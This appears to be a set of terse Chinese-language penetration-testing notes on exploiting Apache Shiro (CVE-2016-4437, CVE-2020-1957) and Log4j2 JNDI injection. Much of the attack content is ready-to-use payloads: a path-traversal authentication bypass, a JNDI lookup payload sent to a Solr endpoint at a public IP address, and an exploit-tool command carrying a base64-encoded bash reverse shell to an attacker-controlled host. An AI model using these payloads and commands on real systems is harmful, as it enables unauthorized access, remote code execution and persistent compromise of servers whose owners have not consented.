判断网站是否使用shiro
- 找到网站登录的地方,随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段
- 如果以上有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空
CVE-2016-4437
访问登陆框
shiro特征,爆破key
反弹shell
注入内存马
连接
Apache Shiro 认证绕过漏洞
CVE-2020-1957漏洞利用了Apache Shiro和Spring Boot对URL处理的差异性,攻击者可以构造特定的URL,绕过Shiro对Spring Boot中Servlet的权限控制,实现未授权的越权访问。影响版本为Apache Shiro < 1.5.2
访问/admin/,会被重定向到登录页面:
构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:
请求/xxx/..;/admin/时,如果路径解析器不正确处理..;,将其忽略或错误处理为/admin/,Shiro的路径检查就会失效,允许未经授权的访问
Apache Log4j2 lookup JNDI
Apache Log4j2的某些版本中,攻击者可通过JNDI注入执行远程代码。这通常涉及到恶意的日志消息,允许攻击者访问服务器上的资源。
http://61.188.177.183:11328/solr/admin/cores?action=${jndi:ldap://kl2l0g.dnslog.cn}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyOC81MDA2MCAwPiYxCg==}|{base64,-d}|{bash,-i}" -A 192.168.56.128
-c是执行的bash命令,-A是指JNDI服务器IP
../solr/admin/cores?action=${jndi:ldap://192.168.56.128:1389/pzsdg1}